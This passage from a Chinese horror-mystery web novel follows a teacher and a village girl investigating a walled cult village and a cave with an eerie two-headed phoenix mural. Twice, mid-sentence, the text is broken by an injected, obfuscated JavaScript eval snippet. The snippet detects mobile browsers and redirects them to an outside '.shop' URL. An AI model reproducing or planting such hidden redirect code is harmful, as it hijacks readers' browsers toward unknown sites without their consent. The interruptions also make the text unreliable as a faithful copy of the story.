方雀忍受着脑中方伏凰对景色夸张的赞美,暗骂一声,随后转头对红梅道:“这不是昨夜你带我爬上的地方吗?” 红梅昂首叉腰:“是啊,您不是想知道这里不能建学校的原因吗?” 方雀席地而坐,就着和煦的晨风,扒开塑料袋,开始啃夹肉馒头。 她咬了几大口,看红梅手指一转,指着远方的一处村落,规模较大,建筑更多,但比红梅所在的村落更加闭塞。 这个村落隐藏在密林与丘陵之间,四周筑起一圈高墙,树木全部枯黄,无一绿色。 白日再看,竟在葱葱郁郁的树林之间,形成了一个明显的,惹眼的圈。 方雀顺着红梅的指引看,心里涌起一阵奇怪的感觉。 画地为牢。 她一向很相信自己的第一直觉,也很少出错。 那个大村落在她眼里的第一印象,就像是一座巨大的,破败的坟墓。 果然下一刻,红梅的声音响起:“那就是原因。” 她转过头来,神情愤恨:“那里的人,供奉着育女。” 方雀咽下最后一口馒头:“育女?” “对。”红梅也坐了下来,与方雀并肩,“我们这个地方不算闭塞,即使去镇上很难,但也有路能够出去。” “但我从来就没有见那个村子的人出去过,奶奶也没有,他们好像世世代代,祖祖辈辈,都在高墙里自给自足。”红梅说,“而且他们还会到周边村子里抓女孩子,虽然有女孩子能逃出来,但也被折磨得不成人样。” “和我相熟的一个姐姐,就被他们抓进那里了,等逃出来回到家之后,她就疯了,缩在角落里,不停念叨着请求育女宽恕。” 她边说边比划,模仿朋友姐姐疯癫时的动作,在腹部,肩膀,大腿根处做用刀劈砍状。 做罢,红梅怒气冲冲,对着那个村落的方向拳打脚踢,差点用力过猛,一趔趄跌下高坡。 方雀薅住红梅,将她拎回来,拍了拍她的衣领。 方雀:“所以你在第一次见我的时候,才会问我是不是从隔壁村逃出来的?” 红梅点头:“我那时还奇怪,为什么你身上干干净净的,也没有变得疯癫。” “因为那个村子,让我们村里大多数人家都搬走到镇上生活了。”红梅握紧拳头,“学生数量不够,所以才不给我们建学校。” “我家只有奶奶和傻子哥哥,没有条件搬走,就只能住在这个村里,我要走好久的路去镇里上学。” 方雀问:“哥哥不上学吗?” “哥哥?”红梅轻笑,“他能上学吗?” “他天生就是傻子,听不懂话,笨的吓人,而且他还...” “他还...他...”红梅支吾,眼尾通红,隐忍纠结。 最后,她还是抹了一把脸,咬着牙说:“方老师,对不起,我骗了你,其实不是哥哥杀了我爸妈。” 红梅捂着脸,呜呜哭了起来:“但是,如果不是因为他,我爸妈也不会死。” “奶奶就不会这么大年纪,还要熬夜编筐做鞋出去卖,我们家的日子就不会过的这么穷,这么艰难。” 方雀上前拉开她的手,拂去她横流的泪水:“好孩子,别哭了,等你上完小学,老师就把你带到城里去,老师资助你上学,好不好?” 红梅不哭了,眼泪鼻涕挂在脸蛋上,惊喜又意外地看着方雀。 阳光将方雀的身形勾勒出一层近乎神圣的光辉,她的眉长长的,双眼温和柔软,竟比钻石耳钉还要璀璨。 红梅哭出一个大鼻涕泡,一头扑进方雀的怀中。 方雀轻笑,一手给她顺背:“但是,你得先告诉老师,你都经历了什么?” 红梅靠在方雀肩上,吸了吸鼻子,伸手,指向两村中间的一处高峰。 “那座山的背阴面,有一个山洞。”红梅好似害怕,她在发抖,“那里面有恶鬼,哥哥就是恶鬼的孩子,他是受诅咒的不祥之人。” 奶奶也是这样说的,方雀接着问:“具体的呢?” 红梅抬起湿漉漉的眼睛,露出和奶奶一样的恐惧神色,张了张嘴,欲言又止。 良久,她才颤抖着,鼓起勇气开口—— “因为我曾亲眼看见,哥哥在吃人。” 5. 双头凤凰 月光明亮,即使是院中茂密的树枝,也无法遮挡住那夜的辉光,红梅面朝外侧睡,被月光剐蹭眼皮,于是她醒了。 迷迷糊糊间,她恍惚听到从院子里传来一阵窸窣的低声,好似是老鼠在啃木头,红梅怒火从心起,可恶的老鼠,怎么杀都杀不净呢? 她掀开被子蹦到窗前,拉开窗帘,在清晰的夜色之下,院子里交叠的两个身影骇然落入她眼中。 方雀问:“你看见了什么?” 红梅双手不住颤抖,她惊恐的瞪大眼睛,目光空洞,仿佛思绪已经回到了那个可怖的午夜。 她说:“哥哥在啃人肉。” 那是一场绝迹于现代社会的原始弑杀,热气蒸腾的血气,迸溅的液体,零落的残骸,死不瞑目的倒扣的头颅,和哥哥状似恶鬼的血红大嘴。 这一场景对一个小孩的冲击力是巨大的,尤其凶手还是与她朝夕相处的兄长。 红梅两眼生疼,她下意识地想要去叫奶奶,但却无法发出任何声音。 哥哥不傻了,也不痴了,他的皮肤紧绷而湿润,上面分布着细细的,不显眼的横纹,软肉在横纹之间,被勒出道道肉渠。 方雀心下一惊。 当时的红梅双腿如同灌铅,哥哥破旧的衣服无法覆住他的身躯而滑下来,红梅看到了他后背上,有一块凸起的,丑陋的印记。 方雀:“那是什么?” 红梅摇摇头:“当时我太害怕了,光线太暗,我没有看清,只记得形状非常不规则,好像被人刻意划乱过。” 皮肤紧绷油润,方雀想起了昨夜那个形似红梅的生物。 那个与她同眠的,却没有五官的“人”。 一时间,一股阴冷的黏稠气息似乎在空气里漫延,方雀低声问红梅:“那个时候,你看到哥哥的脸了吗?” 红梅比划着当时看到的情景,回答:“哥哥是背对着我的,我没有看见。” 方雀又问:“那你看到被吃的那个人的样子吗?” 红梅摇头。 “再后来,你有再见到哥哥吃人吗?” 红梅仍是摇头,接着说:“第二天一早,我就把这件事告诉了奶奶,奶奶不相信,说我就是做噩梦了。” “哥哥就像往常一样起床吃饭,上树玩泥巴,我偷偷观察了他好多天,根本没有发现异样,所以奶奶更加以为我是在做梦。” 红梅仰起小脸,憋得通红:“可是我真的看见了,而且...而且我还受到了诅咒。” 方雀想起昨夜红梅对她的认真严肃的嘱咐,便问道:“什么诅咒?” 红梅揉了揉眼睛:“自从那夜过后,每天晚上,我都会听到一群人混乱的呼唤声,他们声音纷杂,模糊不清,我完全睡不着。” 她抓紧自己的衣角,努力使自己平静下来:“我白天要上学,回家要帮奶奶干活,哥哥又总是缠着我,我很害怕他,又困,又不敢报警,我快要被折磨疯了,后来我受不了,就跑到外面去。” “后来我就发现,越靠近山洞,那声音就越小,我没办法了,所以我在山洞旁边搭了个窝棚,每晚都溜出去在那里睡,等到天快亮再回来。” 方雀一顿,看着红梅:“你昨夜也去了吗?” 红梅点了点头。 难怪昨夜红梅不见了。 可即使是红梅这样瘦弱的姑娘,又怎么能在方雀察觉不到的情况下,悄无声息地离开呢? 方雀摸了摸下巴,问道:“你是什么时候走的?” 红梅想了想:“十一点半左右。” “你是怎么走的?” 红梅:“我就是悄悄地下床啊。” 方雀感到奇怪,眯了眯眼睛。 她说:“那么,带我去你那个窝棚看看吧。” 听闻此话,红梅就像被踩了尾巴的猫一样蹦起来,眉毛竖起,神色急厉:“不行!” 方雀挑起一边眉:“为啥?” 红梅低头顾左右,支支吾吾:“因为...因为那里有恶鬼。” 方雀“哈”了一声:“那你怎么在山洞旁边睡觉呢?” 红梅小脸通红:“我不怕恶鬼,但你不行,你出事了,就没人给我们村里建学校了。” 方雀笑了:“可是我不了解你们这个村子,也是不会掏钱建学校的。” 这踩到了红梅的痛处,她软了神情,似乎在下很大的决心,半晌,她点了点头:“那好,你一定要跟紧我,千万不要落下。” 地形崎岖不平,红梅紧紧拉着方雀的手,两人在树丛中穿梭。 两个身形清瘦的姑娘在茂密的树丛中有天生的优势,她们来往自如,不多一会儿就钻出了密林。 要想去往山洞,就必然要路过那个囚笼般筑起高墙的村落。 方雀抬头望向高墙。 墙砖古朴,破而不败,虽有暗绿的苔藓分布其上,但城楼飞檐斗拱,雕纹精细,由此可见昔日光彩。 大门之上,用乌木制成的牌匾镌刻着三个掉漆缺角的大字——媃凤庄。 方雀觉得这个名字很矛盾,媃为女子柔媚之意,怎么能和雄凤有所关联呢? 再者,此城楼的样式颇为熟悉,方雀停下脚步,在脑海里找寻自己的知识储备,而后想起来了。 她低头,对红梅说:“这个村子,仿楚而建。” 红梅不懂:“什么意思?” 方雀解释道:“楚人崇尚火凤,信巫好鬼,楚为木之义,你看。” 她环顾一圈:“此村无大路通向外面,又以四面环山林,应该就是在仿照楚制。” 红梅听的一愣一愣,方雀手指关节敲了敲她的脑门,当当两声:“注意听,不要溜号。” 红梅立刻站得笔直,抬头听方雀讲话。 方雀刚要开口,又觉得在人家城墙底下说话不太好,便带着红梅坐到了一处茂密草丛中,两人盘腿对坐。 方雀:“你刚才说,媃凤庄里供奉着育女?” 红梅回答:“是的。” 方雀一边手指转树枝玩,一边思考:“育女...” “救命啊!救命!” 还没等方雀思考出个所以然来,草丛外突然响起一阵年轻女性嘶哑凄惨的尖叫。 声音很快由远至近,女性的叫喊声愈发虚弱,方雀和红梅稍稍从草丛里伸出脑袋。 一个年轻的姑娘在奔跑,看穿着打扮应是外面的大学生,胸前还别着一枚师大的徽章。 后面有一群举着弓箭的人在追赶,姑娘呈S形奔逃,但还是被一支羽箭射中了地面。 草屑飞腾,姑娘吓得跌倒在地。 红梅想起身,方雀一把按住了她。 一群身着朱纹玄衣的人抬着一个木制囚笼,浩浩荡荡地从密林中钻了出来,他们的脚步整齐划一,震天动地。 为首的是一个极高的人,脸上戴着朱雀面具,腰间系着珠玉大链,束起冲天的发髻,其上簪着繁盛的鲜花。 但这人走路的姿势很奇怪,曳地衣摆下,并没有双腿交叉行走的形状,而是前后顾涌挪动,速度很快。 熟悉的恶心感涌上方雀的喉头,她捂住嘴,发现红梅竟同样面露难色。 方雀不动声色地上下打量了红梅一眼,红梅无知无觉,目光死死瞪着为首的面具人。 玄衣人群将那姑娘里三层外三层围住,再散开时,姑娘已在囚笼之中,人群抬着笼子进入村落大门,姑娘的嘶叫逐渐消弭。 红梅抓住方雀的衣角,抬脸看她,似是在观察她的反应:“方老师,咱们要去救她吗?” 方雀眉头皱得极紧:“我们一个小孩,一个女人,怎么救她?” 红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837530|191267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅扯她的袖子:“可是如果不救,她会被折磨得不成人样,就像我同村的姐姐那样。” 方雀:“帮助人的前提是保证自己的安全,在安全的情况下,帮助别人是本能善意,但在面临危难时,自保才是上策。” “我们没有力量,没有武器能够进入自成体系的封闭村落里救人。”方雀将手从红梅手里抽回,“如果去救人,我死在里面,就没有人能出钱给你建学校了。” “可是...” 红梅还想说什么,方雀一抬手打断了她。 “我此行的目的是考察学校,到这里来是为了看一看山洞,生死有命,富贵在天,那个孩子,我救不了。”方雀站起身,拍拍手里的草屑,“走吗?” 红梅仍是蹲着,在方雀等得烦,转身要走时,红梅突然说:“如果你救她,我就把在你身体里说话的男人的真实身份告诉你。” “哟。方雀饶有兴趣地蹲下身,刮了刮红梅的鼻梁:“果然是心智很成熟的孩子,你什么都知道,这么快就装不住了?” 红梅脸上孩童的稚意消散,神情漫上沉重之意:“我是孩子,但我也知道一些事情,比如昨晚,你分明看到了哥哥打我的场景。” “嗯嗯。”方雀点头,“被打的那个不是你。” 红梅一顿:“你怎么知道的?” 方雀有点想笑:“如果是你,那现在站在面前的是谁?” 红梅也感觉到自己的问题有些不聪明,尴尬地摸了摸鼻子。 紧接着,她问:“你什么时候察觉到的?” 方雀回答:“因为你的演技不好,观察我的时候太明显了。” 红梅一愣,有些吃瘪,于是偏过头去。 方雀摸摸她的脑袋:“如果你知道我脑子里那个男人的身份,那我答应你,我们该怎么救她?” 红梅指向远方:“我们去山洞里求恶鬼帮忙。” 方雀好奇:“它都是恶鬼了,还能帮我们的忙吗?” 红梅信誓旦旦:“它不会伤害我的。” 方雀笑了,点点头。 太阳高照,两人走得很快,狭窄的石路豁然开朗。 其实仔细来看,这个山洞里红梅住的村庄很近,但因山路崎岖,从大路走到这里,需要绕过半座山。 枯败的黄枝和翠绿的藤蔓交缠不清,山背阴处,像是一个圆润的鹅蛋似的,山洞口不大,阳光透不进去,瞬间被吞噬进一片漆黑中。 传说中恶鬼盘踞的地方,实际上也并无甚稀奇。 仿佛是心理作用在作祟,即使天气算是和暖,但方雀还是感觉到一阵冷风吹过。 这里让人莫名感到寒凉,山洞里传出刺耳的呜呜声,状如鬼鸣。 “这是这里了。”红梅牵起方雀的手,再次强调,“恶鬼不会伤害我,请放心。” 她们小心挪步,进入其中。 山洞甬道还算宽阔,两人并肩而走,绰绰有余,红梅从怀里掏出一个手电筒,圆形的光圈瞬间照亮了部分甬道。 青灰色的石材,很普通,有水滴流淌在缝隙之间,也无怪味。 两人渐渐深入,凭借大功率的手电筒,光亮明朗,前路不甚恐怖。 方雀四处查看,目光撇至山壁,她停下脚步。 “这是...” 方雀示意红梅将手电筒照向山壁。 红梅照做,方雀靠近看,又往前走了几步看,最后环视一圈,心中涌现的奇怪预感渐渐攀升。 红梅也看见了,于是变了脸色。 整个甬道都绘制一副相同的画卷。 残破的彩绘,粗糙的笔触,高可入云的祭台之上,摆放着密密麻麻的婴儿骸骨,无数的人跪拜于其下,高举双臂,神色癫狂。 而被他们簇拥在最中央的——是一只长着两个脑袋的凤凰。 6.图谋 好怪异的图腾。 方雀从口袋里掏出一包一次性手套,拆开,套上双手,她仔细地触摸着图腾上的纹路,从凤凰华彩的尾羽,到足下腐烂的梧桐叶。 彩绘的画漆模糊,掉落了很多碎片,近乎看不清。 而高台之下振臂高呼的乌泱人群,无论位于祭台哪边,他们的脸庞都齐刷刷转向外侧,后背和脸部齐齐朝外,不符常理,分外诡异。 也是,这样破旧古朴的样式,想来也是几百年之前的作品,那时候的记录方式大多不写实。 可按理说,崇拜神明,信徒应是面朝祭台上是双头凤凰,又怎么会面朝外侧呢? 这倒像是在观者对视一样。 方雀感到一阵恶心,转头问红梅:“我刚才看到你搭的小窝棚了,你每晚都睡在那里,那你知道这个图腾的意思吗?” 红梅仍是瞪大眼睛,神情是无法装出来的惊惧,她有点哆嗦:“以前我来的时候,这里根本就没有这些壁画啊。” 方雀挑眉:“那之前是什么样的?” 红梅比划着:“就是很干净的石头,什么图案都没有。” “真的?” “是真的。” 方雀弯了弯眼睛:“要是还撒谎骗老师的话,老师死了,就不能给村子里捐钱了哦。” 红梅急了:“我这回说的是真的,之前真的没有这些图案!” 方雀若有所思,接过手电筒,光圈对准图腾。 冷硬的白光凝成一团,边缘被山壁曲化成崎岖的形状,方雀清楚地看到所有人的脸,全部呈现一块完整的凸起,没有五官。 每个人的身体都是紧绷的,像是被皮筋勒出的一根根淀粉肠。 方雀查看了其他图腾,亦是如此。 又是没有五官的人,有点意思,方雀想。 红梅有些不安,她扯了扯方雀的衣摆:“这里和我之前看的不一样,好奇怪,咱们还是走吧。” 方雀:“不救人了?” 红梅想说什么,最后还是没有吱声。 两人寸步不离,紧紧地在一处,要挪动就一起挪动。 山洞内潮湿的气息翻涌,引得有一股轻微的腐味开始漫延,方雀只能闭气,实在憋不住时再呼吸一口。 红梅个子矮,视角低,她右手抓着方雀的衣摆,左手沿着图腾上的纹路游走,不多时,她似乎是发现了什么,低声呼唤方雀。 方雀蹲下来,沿着红梅手指的方向看去。 那是两个奇形怪状的文字,线条扭转在一起,好似几条蚯蚓相互缠绕,首尾勾连。 红梅问:“这是什么?” 方雀想了想:“这是,育女。” 红梅惊讶:“育女?你怎么知道?” “这是甲骨文的样式,你看。”方雀指着第一个字,“这个字的字形类似一个站立的人形,下方是一个倒置的婴儿,在古文字中表示生育。” “而第二个字。”方雀沿着字形示意,“这是一个双手交叉在胸前,跪坐着的人,她的姿态端庄,是古文字中的女性形象特征。” 红梅恍然大悟:“真的像,真的是育女,这是媃凤庄供奉的,为什么会出现在山洞里?” 方雀:“你问我呢?” 红梅不吱声了。 方雀皱眉,道:“我在媃凤庄高墙外部的残砖上也看到了这两个字,一模一样。” 红梅倚进方雀怀里,方雀揽住她的肩膀,问:“你的朋友姐姐,回家之后一直念叨着请求育女宽恕?” 红梅答:“是的,她还一直做用刀砍自己的样子。” 方雀:“用刀砍?” 红梅重复了一遍动作,劈向自己的腹部,肩膀,大腿根处。 方雀学红梅的样子在自己身上比划,脸色愈发难看。 红梅问:“怎么了?” 方雀停住动作,捏了捏红梅的脸蛋,笑:“没什么。” 两人慢慢向山洞深处探进,方雀问:“你见过恶鬼吗?恶鬼长什么样?” 红梅:“没见过。” “哦?”方雀惊讶,“那你怎么肯定恶鬼不会伤害你?” 红梅道:“因为哥哥是恶鬼的孩子,我是哥哥的妹妹,它不会伤害我的。” 这个理由真是把方雀逗笑了:“别装了吧。” 红梅面露惊讶:“老师为什么这样说?” 方雀伸手,给红梅来了一记脑瓜崩:“刚才不是都不装了吗?还有,你和奶奶一唱一和,让我午夜看见那个场景,不就是对我所有求吗?” 红梅牵着方雀的手一僵。 方雀拍拍她的手背:“这多简单啊,我是一个陌生客人,奶奶为什么要把家里那么重要的秘密告诉我呢?所以只有两种情况,要么是想把我吓跑,要么是对我有所图谋。” “再者,你三番两次地向我透露山洞这个意象,说话说半截,神秘兮兮的,是想让我勾起好奇心吧。”方雀眼睛弯弯,“很显然,你成功了。” 红梅直愣愣地站在原地,脸上的神情出现了裂纹。 “我还以为这个办法很缜密呢。”红梅打哈哈,“为什么被看出来了?” “还是那句话。”方雀捏了捏她的鼻尖,“因为你的演技太差了啊。” 红梅吃瘪。 方雀笑了,眼睛弯成两道月牙,大家总是夸赞方雀这样很漂亮,但是显得有些假,但方雀知道,每当她这样笑时,才是真正的开心。 感到快乐是一件很难的事,从她记事起,她几乎每天都会笑,几乎每天都很做很善良的事,收获了很多夸奖。 但她总是感到很空虚,她觉得笑是一种社交工具,而不能作为情感是表达。 她的灵魂仿佛缺少了一块,嗖嗖漏风。 朋友去世之前曾对她说,等她什么时候能常常感到开心和幸福,那就是她完整的时刻。 她从这个自以为手段高明的小姑娘身上获得了一点点愉悦感,简单来说,她被红梅可爱到了。 方雀俯身,温温柔柔的:“你想要老师帮我做什么?你尽管说,不用暗示引导老师啦。” 红梅摸了摸后脑勺,刚张开嘴,突然,她似乎是察觉到了什么,快速向山洞外看了一眼。 她没有回答方雀的问题,而是上前拉住方雀的手,倾斜身形,飞快地在她手心里写了几个字。 方雀手掌微微蜷缩,稍微一顿,突然勃然大怒,粗暴地扯起红梅的袖子,拉着她就要往外走,红梅双脚钉在地上,任方雀怎么拉扯,都纹丝不动。 方雀大声喊叫:“怎么?把我带到这里来做什么?快带我出去!” 红梅一脸认真:“我带老师来这里探险呀。” “什么探险?小小年纪不学好,天天搞什么牛鬼蛇神,这里这么黑,吓死我了,快点走!” 她又去扯红梅的胳膊,红梅不动。 方雀深吸一口气,怒气冲冲:“你想干什么?” 红梅拿着手电筒的手臂垂下,光圈照映地面,青绿色的反光投上来,将她的半张面庞从浓墨般的漆黑中模糊勾勒出一个平面。 她慢慢抬起眼皮,一字一顿:“别想出去。” 方雀冷笑:“怎么?” 红梅一步一步向前,方雀慢慢后退,直到倚到山壁上。 红梅横眉冷对,语气陡然狠厉:“进了山洞,还想出去?做梦!” 方雀一愣,仿佛是愤怒到了极限一样,她高高扬起手。 啪! 红梅被打得偏过头去,脸蛋瞬间红肿起来。 “反了你了,竟敢跟我这么说话?” 方雀下手不轻,红梅嘴角流出一淌鲜血,表情疯癫,她指着方雀尖叫:“你这个贱人!竟敢打我?你找死!” 说罢,红梅野牛冲刺,一头顶上了方雀的肚子,方雀双腮痛得一鼓,抱住她的脑袋,大力甩到一旁。 红梅身体踉跄,跌跌撞撞扑上山壁。 她看着方雀,疾言厉色:“平时在学校里你就天天打我,欺负我,我真是受够你了,现在我把你带到山洞里,我告诉你,山洞里有恶鬼,恶鬼会杀了你的!” 方雀捂着肚子,一脸不屑:“就你?别做梦了,这世界上哪有鬼?想吓唬我,你还嫩了点!” 红梅哈哈大笑:“我已经做完仪式,你已经是恶鬼的猎物了,你马上就会死,真是恶有恶报。” 方雀暗骂一句,转身向山洞外走去。 浓黑的山洞光进不明,仿佛怪物的深渊大口。 突然,她仿佛是听到了什么一样,停下脚步,扭头看向身后。 登时,方雀双腿一软,跌坐在地,她的脸瞬间惨白如纸,全身僵直,冷汗肉眼可见地成股流下,连眨眼都不能。 空洞的风呜呜奏响,如同地狱里野鬼万哭。 红梅尖声大笑:“哈哈哈,坏人!坏人!你要死啦!” 方雀嘴唇哆嗦着,目眦欲裂,半晌,她终于从喉头挤出一声锋利的尖叫。 红梅关闭手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839364|191267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电筒,黑暗瞬间压迫下来。 紧接着是一声沉闷的砸响,方雀的叫声戛然而止。 万籁俱寂,落针可闻。 黑暗中,红梅举着一块大石头,她的眼睛闪烁着劫后余生的明亮,方雀蜷缩在乱石之后,噤若寒蝉。 方雀抱着膝盖,听红梅不断扑打着自己的衣服,疯了似的大笑:“让你天天欺负我,恶有恶报!恶有恶报!” 红梅手舞足蹈地跑出山洞,方雀听见她跑远的声音。 咚咚咚的回响在山洞中回荡,她缩在石堆后,呼吸都放轻。 山洞外有脚步离开的细微的声音,方雀耳尖一动,放下心来。 红梅很是谨慎,因为过了良久,手电筒白光圈才再度出现,红梅探出头来,轻声:“方老师,他们走了,你可以出来了。” 方雀爬出来,拍拍身上的灰。 红梅感叹:“老师的演技真是太好了,就跟真的看到鬼了一样。” 方雀:“小意思。” 两人不能再待在山洞里了,于是找了一处一人高是密草丛。 方雀轻轻碰了一下红梅的脸:“我下手太重了,特别疼吗?” 红梅嘻嘻笑:“没事,不打得狠一点,他们又怎么会相信呢?” “媃凤庄的人怎么会来这?”方雀问。 红梅用草棍在地上画画:“奶奶说,媃凤庄人每月都要抓到两个年轻女子才能举行祭祀,如果那个姐姐是第一个,那么他们就还需要一个。” 红梅看着方雀:“他们可能是发现了你的存在,想来抓你。” “不过周边的村子都在传,如果谁成为了恶鬼的猎物,那么就一定会死在山洞里,其他人不能进山洞带走尸体,否则就是不敬。” 方雀:“原来是这样,所以你让我和我打架然后装死。” 红梅竖起大拇指:“不过老师你的反应真的好快,我就不行。” “你要是行,我就不会察觉出你的意图了。”方雀也薅了根草棍玩,“说说吧,你想让我做什么?” 红梅看着方雀,犹豫了一下,她扒开自己的衣领,露出脖颈上的累累伤痕。 高领的衣服将她的脖子挡得严严实实,而一旦露出来,方雀便一眼就看到了她脖子上添的新鲜伤疤。 刚刚结痂的伤口还是鲜红色,下面残留着干涸的血迹,伤口边缘粗糙,是粗麻绳硬生生磨出来的。 她又拉起衣袖和裤腿,手腕上,脚腕上的伤同样惨烈惊心。 方雀倒吸一口凉气:“这是怎么弄的?” 红梅整理好衣服,低声说道:“每天早上,我身上都会添一道这样的伤,我最开始怀疑是家里进贼了,奶奶守了好几天的夜,却连一个贼影子都没有。” “后来我又怀疑是哥哥趁我睡着后偷偷用麻绳勒的,但这伤口这么深,我又怎么会不被痛醒,后来我好几夜都没睡觉,第二天还是会添伤。” “这真是太奇怪了,而且自从我看到哥哥吃人后,我的脑子里就一直有声音,我害怕,才住到山洞旁边,虽然每早还会受伤,但至少不会被那些声音纷扰了。” “你说那是诅咒。” 红梅似乎有些崩溃,她抱住脑袋:“是诅咒,因为那不是杂音,而是一个男人的声音,他一直在告诉我,我会在路边捡到一个女人,那个女人会帮我走出噩梦。” 方雀指向自己:“我吗?” “我不知道。”红梅在抖,“但我只在路边捡到了你一个人,我觉得是你,所以才把你带回家,让你看到那样的画面。” 方雀:“为什么?” “因为是他让我这么做的,我让奶奶告诉你午夜看院子,我再告诉你千万不要看,那么你就一定会去看。” 方雀笑了,她换了个盘腿的姿势:“为什么这么肯定?” 红梅回答:“是那个男人告诉我的,而且今天就算你不主动提出来山洞,我也会想法设法带你来的。” 方雀摸下巴,点头:“那你现在跟我袒露这些事,也是那个男人让的?” 红梅没有反应,算是默认。 方雀双手托腮,琢磨一番:“那之前你说你看到了哥哥吃人,也是假的咯?” 听闻此话,红梅竟全身一抖。 方雀掰草根玩,头顶却传来红梅因极度恐惧而发滞的声音。 “不...”红梅敛声屏气,喉咙仿佛被千钧重石压住了,“我真的看见了,而且他...” “他吃的是我。”